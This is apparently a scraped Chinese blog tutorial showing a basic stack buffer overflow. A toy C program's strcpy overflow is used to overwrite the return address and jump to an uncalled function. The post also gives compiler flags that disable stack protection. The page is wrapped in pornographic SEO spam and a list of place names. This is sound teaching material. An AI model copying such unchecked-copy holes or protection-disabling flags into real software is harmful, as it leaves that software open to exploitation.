91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

簡單棧溢出利用

發布時間:2020-07-16 18:56:16 來源:網絡 閱讀:1764 作者:ToAlice 欄目:安全技術
#include<stdlib.h>
#include<string.h>
void fun(char *name){
    char buf[10];
    strcpy(buf,name);
    printf("%s\n",buf);
}
void hack(){
    printf("flag\n");
}
int main(){
    char name[]="Alex@bbb";
    fun(name);
    return 0;
}

上面的程序是一個正常的C語言程序,但是main函數中沒有調用hack()函數,下面我就演示下如何利用緩沖區溢出來執行hack函數的內容。


使用codeblocks編譯并執行上述程序后,拖入od查看棧的變化情況,看看給變量name賦什么值的時候,會恰好覆蓋掉call fun處的函數返回地址

簡單棧溢出利用




F7跟進  F8 一句一句執行:


簡單棧溢出利用




簡單棧溢出利用



因此我們添加poc:

#include<stdlib.h>
#include<string.h>
void fun(char *name){
    char buf[10];
    strcpy(buf,name);
    printf("%s\n",buf);
}
void hack(){
    printf("flag\n");
}
int main(){
    char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //這里后邊四個為hack()函數地址
    fun(name);
    return 0;
}


重新編譯執行后,我們發現利用成功:

 簡單棧溢出利用




在使用ubuntu復現棧溢出的時候需要關閉棧保護機制:

    使用gcc編譯時全部關閉保護機制,參數-fno-stack-protector用來關閉gcc編譯器gs驗證碼機制,

    -z execstack用來關閉ld鏈接器堆棧段不可執行機制。





這里有一個linux下64位的棧溢出過程。

https://www.secpulse.com/archives/32328.html 






向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

高密市| 广西| 高台县| 襄垣县| 武义县| 敖汉旗| 房山区| 桐梓县| 栖霞市| 徐水县| 屯昌县| 珲春市| 延边| 湘潭县| 邯郸市| 英吉沙县| 南宫市| 平潭县| 阿拉善左旗| 崇义县| 乐陵市| 青海省| 云南省| 黄陵县| 南丹县| 城口县| 寿光市| 临沭县| 教育| 孟村| 桐柏县| 南皮县| 深泽县| 沙雅县| 衡水市| 同江市| 兰西县| 南阳市| 九龙城区| 全椒县| 昌都县|